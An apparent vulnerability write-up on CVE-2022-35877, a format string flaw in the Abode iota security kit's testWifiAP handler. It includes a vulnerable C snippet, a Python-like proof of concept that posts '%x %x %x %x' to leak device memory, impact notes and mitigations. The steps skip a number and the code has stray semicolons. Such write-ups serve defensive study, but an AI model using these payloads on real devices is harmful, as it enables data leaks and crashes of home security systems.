CVE-2022-35877 - Format String Attack in Abode iota All-In-One Security Kit’s testWifiAP – Exploit Details & Analysis

Summary:  
In late 2022, security researchers discovered four dangerous format string injection vulnerabilities in Abode Systems, Inc. iota All-In-One Security Kit versions 6.9X and 6.9Z. The vulnerabilities were found in the internal XCMD testWifiAP functionality and can be triggered via malicious configuration changes. Successful exploitation can result in memory corruption, information disclosure, or denial of service—making it a high-impact risk for connected home security.

What Is CVE-2022-35877?

CVE-2022-35877 highlights a software flaw where user-controlled data injected via configuration options is incorrectly parsed and used within C standard library format string operations. This format string vulnerability centers on the default_key_id parameter, which is included in the security system’s WiFi Access Point testing logic (testWifiAP). By manipulating this parameter, an attacker can coerce the device into leaking private data, crashing, or even potentially executing their code.

Why Does This Happen? (Background)

In C, functions like printf, sprintf, etc., interpret special tokens starting with % in their string arguments. If user input is used as a format string, attackers can inject %x, %s, %n, etc., and read memory contents, write values to arbitrary locations, or crash the program.

Normally, inputs should be treated as data—not a formatting string. Failure to do so leads to classic format string vulnerabilities.

Vulnerable Code Path

Here’s a (simplified) pseudo-code snippet representing the vulnerable logic in the XCMD handler for the testWifiAP command:

// Vulnerable XCMD handler example
void testWifiAP(XCMD_Request* request) {
    char response[256];
    // Pulling config parameter from request
    const char* default_key_id = request->getParameter("default_key_id");
    
    // DANGEROUS: using user input as a format string!
    sprintf(response, default_key_id);
    
    sendResponse(response);
}

What’s wrong?
If an attacker sets default_key_id to %x %x %x %x, the device might output memory contents from the stack, or worse, crash or corrupt memory (DoS, information leak).

Exploit Scenario: Simple Information Disclosure

Let’s say an attacker can communicate with the iota device’s management API or other interface that accepts WiFi configuration changes:

Steps to Exploit

1. Change the configuration for the access point, specifically default_key_id, to the malicious format string:

Send a command to trigger the XCMD testWifiAP handler.

3. The device will process default_key_id, passing it unsafely to sprintf, and then return memory data within its response. The attacker receives the hexadecimal values from memory, potentially leaking sensitive info (stack addresses, session tokens, etc).

Example Exploit (Python-like pseudo)

import requests

url = 'http://iot-device/api/config';
exploit_data = {
    'default_key_id': '%x %x %x %x'
}

# Set the malicious config
requests.post(url, json=exploit_data)

# Trigger the vulnerable functionality (this endpoint is hypothetical)
resp = requests.post('http://iot-device/api/xcmd';, json={'cmd': 'testWifiAP'})
print("Leaked Memory:", resp.json()['response'])

Potential Impact

- Information Disclosure: Reading stack or heap values; could include WiFi keys, system tokens, or sensitive buffers.
- Memory Corruption/Crash: Malicious use of %n or similar format string specifiers could overwrite memory, potentially leading to device crash (DoS).
- (Unlikely, but possible) Code Execution: In some format string bugs, clever chaining can yield arbitrary write, which may be used to inject or overwrite function pointers.

Note: The original advisory mentions *four* such format string injection points, primarily triggered by editing various configuration values related to testWifiAP logic (default_key_id among them).

Practical Mitigation

- Firmware Update: Upgrade to a firmware version where input to format functions is sanitized or properly delimited.
- Validate All Input: Never pass user-controlled data into formatting functions as the format string.

Real-World Reference

- Original ZDI advisory (ZDI-22-1509)
- NVD CVE Detail for CVE-2022-35877

Conclusion

CVE-2022-35877 is a textbook case of a format string injection flaw in an embedded IoT device. Because of the prevalence of C/C++ code in IoT and the frequency these systems receive remote configuration changes, such vulnerabilities are both high-impact and common.

If you are using affected versions of the Abode iota Security Kit, update your firmware as soon as possible and audit for unusual network or configuration activity. Developers must always treat user data as *data*—not *instructions*—and never pass it unchecked into system or language formatting routines.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/28/2022 01:28:00 UTC